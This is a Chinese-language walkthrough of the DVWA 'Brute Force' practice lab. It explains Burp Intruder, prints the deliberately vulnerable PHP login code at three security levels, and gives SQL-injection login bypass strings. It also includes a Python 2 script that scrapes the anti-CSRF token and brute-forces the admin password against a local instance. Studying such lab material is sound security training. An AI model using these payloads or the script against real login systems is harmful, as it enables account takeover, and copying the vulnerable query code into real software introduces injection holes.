DVWA学习(三)Brute Force(暴力破解)
BF算法,即暴風(Brute Force)算法,是普通的模式匹配算法,BF算法的思想就是將目標串S的第一個字符與模式串T的第一個字符進行匹配,若相等,則繼續比較S的第二個字符和 T的第二個字符;若不相等,則比較S的第二個字符和T的第一個字符,依次比較下去,直到得出最后的匹配結果。BF算法是一種蠻力算法。
一.Burp Intruder模塊
Burp Intruder是一個強大的工具,用于自動對Web應用程序自定義的攻擊,Burp Intruder 是高度可配置的,并被用來在廣范圍內進行自動化攻擊。
**原理:Intruder在原始請求數據的基礎上,通過修改各種請求參數,以獲取不同的請求應答。**每一次請求中,Intruder通常會攜帶一個或多個有效攻擊載荷(Payload),在不同的位置進行攻擊重放,通過應答數據的比對分析來獲得需要的特征數據。Burp Intruder通常被使用在以下場景:
- 標識符枚舉 Web應用程序經常使用標識符來引用用戶、賬戶、資產等數據信息。例如,用戶名,文件ID和賬戶號碼。
- 提取有用的數據 在某些場景下,而不是簡單地識別有效標識符,你需要通過簡單標識符提取一些其他的數據。比如說,你想通過用戶的個人空間id,獲取所有用戶在個人空間標準的昵稱和年齡。
- 模糊測試 很多輸入型的漏洞,如SQL注入,跨站點腳本和文件路徑遍歷可以通過請求參數提交各種測試字符串,并分析錯誤消息和其他異常情況,來對應用程序進行檢測。由于的應用程序的大小和復雜性,手動執行這個測試是一個耗時且繁瑣的過程。這樣的場景,您可以設置Payload,通過Burp Intruder自動化地對Web應用程序進行模糊測試。
詳細選項配置參考BurpSuite系列(五)----Intruder模塊(暴力破解)
下面將對四種級別的代碼進行分析。
Low
服務器端核心代碼
<?phpif( isset( $_GET[ 'Login' ] ) ) {// Get username$user = $_GET[ 'username' ];// Get password$pass = $_GET[ 'password' ];$pass = md5( $pass );// Check the database$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];// Login successful$html .= "<p>Welcome to the password protected area {$user}</p>";$html .= "<img src=\"{$avatar}\" />";}else {// Login failed$html .= "<pre><br />Username and/or password incorrect.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }?>服務器只是驗證了參數Login是否被設置(isset函數在php中用來檢測變量是否設置,該函數返回的是布爾類型的值,即true/false),沒有任何的防爆破機制,且對參數username、password沒有做任何過濾,存在明顯的sql注入漏洞。
漏洞利用
方法一 爆破利用burpsuite即可完成
第一步抓包
第二步,ctrl+I將包復制到intruder模塊,因為要對password參數進行爆破,所以在password參數的內容添加標記。
第三步選中Payloads,載入字典,點擊Start attack進行爆破。
最后,嘗試在爆破結果中找到正確的密碼,可以看到password的響應包長度(length)“與眾不同”,可推測password為正確密碼,手工驗證登陸成功。
方法二 手工sql注入
因為mysqli_num_rows( $result ) == 1,所以產生的結果數必須為1條,而且密碼經過了md5加密,是不可控的,所以只能在username上構造語句:
SELECT * FROM ‘users’ WHERE user = ‘1’ or 1=1 limit 0,1#’ AND password = ‘隨意填’;
用戶名:1’ or 1=1 limit 0,1#
密碼:隨意
當然如果你知道一個用戶名為admin的話,也可以構造:
SELECT * FROM ‘users’ WHERE user = ‘admin’#’ AND password = ‘$pass’;
Medium
服務器端核心代碼
<?phpif( isset( $_GET[ 'Login' ] ) ) {// Sanitise username input$user = $_GET[ 'username' ];$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitise password input$pass = $_GET[ 'password' ];$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass = md5( $pass );// Check the database$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];// Login successful$html .= "<p>Welcome to the password protected area {$user}</p>";$html .= "<img src=\"{$avatar}\" />";}else {// Login failedsleep( 2 );$html .= "<pre><br />Username and/or password incorrect.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }?>相比Low級別的代碼,Medium級別的代碼主要增加了mysql_real_escape_string函數,這個函數會對字符串中的特殊符號(x00,n,r,,’,”,x1a)進行轉義,基本上能夠抵御sql注入攻擊,說基本上是因為查到說 MySQL5.5.37以下版本如果設置編碼為GBK,能夠構造編碼繞過mysql_real_escape_string 對單引號的轉義,通過phpstudy打開mysql命令行查看mysql版本。
具體的mysql_real_escape_string函數繞過問題詳見
魔術引號、addslashes和mysql_real_escape_string的防御以及繞過
PHP字符編碼繞過漏洞總結
實驗環境為MySQL5.7.21,同時,$pass做了MD5校驗,杜絕了通過參數password進行sql注入的可能性。但是,依然沒有加入有效的防爆破機制。
如果密碼錯誤的話會sleep( 2 ),每一次的請求包響應時間由毫秒基本變成了2~10秒。這樣大大的增加了我們破解出密碼鎖需要的時間。步驟與LOW模式一致。
這里就當作不知道用戶名和密碼,添加兩個字典用集束炸彈模式用笛卡兒積的方式同時暴破兩個參數:
設置payload1,2對應的用戶名密碼字典
在響應頭提取welcome:
等待篩選到的welcome即可。
組合次數非常大。
High
服務器端核心代碼
<?phpif( isset( $_GET[ 'Login' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Sanitise username input$user = $_GET[ 'username' ];$user = stripslashes( $user );$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitise password input$pass = $_GET[ 'password' ];$pass = stripslashes( $pass );$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass = md5( $pass );// Check database$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];// Login successful$html .= "<p>Welcome to the password protected area {$user}</p>";$html .= "<img src=\"{$avatar}\" />";}else {// Login failedsleep( rand( 0, 3 ) );$html .= "<pre><br />Username and/or password incorrect.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }// Generate Anti-CSRF token generateSessionToken();?>High級別的代碼加入了Token,可以抵御CSRF攻擊,同時也增加了爆破的難度,通過抓包,可以看到,登錄驗證時提交了四個參數:username、password、Login以及user_token。
每次服務器返回的登陸頁面中都會包含一個隨機的user_token的值,用戶每次登錄時都要將user_token一起提交。服務器收到請求后,會優先做token的檢查,再進行sql查詢。
同時,High級別的代碼中,使用了stripslashes(去除字符串中的反斜線字符,如果有兩個連續的反斜線,則只去掉一個)、 mysql_real_escape_string對參數username、password進行過濾、轉義,進一步抵御sql注入。
漏洞利用
由于加入了Anti-CSRFtoken預防無腦爆破,這里使用python腳本進行爆破。python 腳本(python 2.7),用戶名為admin,對password參數進行爆破并打印結果。
from bs4 import BeautifulSoupimport urllib2header={'Host':'127.0.0.1','User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Language':'en-US,en;q=0.5','Accept-Encoding':'gzip, deflate','Referer':'http://127.0.0.1/vulnerabilities/brute/index.php','Cookie':'security=high; PHPSESSID=fvdht9e8smk3cbo57rr11jufn3','Connection':'close','Upgrade-Insecure-Requests':'1'}requrl = "http://127.0.0.1/vulnerabilities/brute/"def get_token(requrl,header):req = urllib2.Request(url=requrl,headers=header)response = urllib2.urlopen(req)print response.getcode(),the_page = response.read()print len(the_page)soup = BeautifulSoup(the_page,"html.parser")d = soup.find_all('input', attrs={'name':'user_token'})user_token = d[0].attrs['value']return user_tokenuser_token = get_token(requrl,header)i=0for line in open("rkolin.txt"):requrl = "http://127.0.0.1/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_tokeni = i+1print i,'admin',line.strip(),user_token = get_token(requrl,header)if (i == 10):break對比結果看到,密碼為password時返回的長度不太一樣,手工驗證,登錄成功,爆破完成。
總結
以上是生活随笔為你收集整理的DVWA学习(三)Brute Force(暴力破解)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: DVWA学习(二)SQL Injecti
- 下一篇: 验证异常处理调用顺序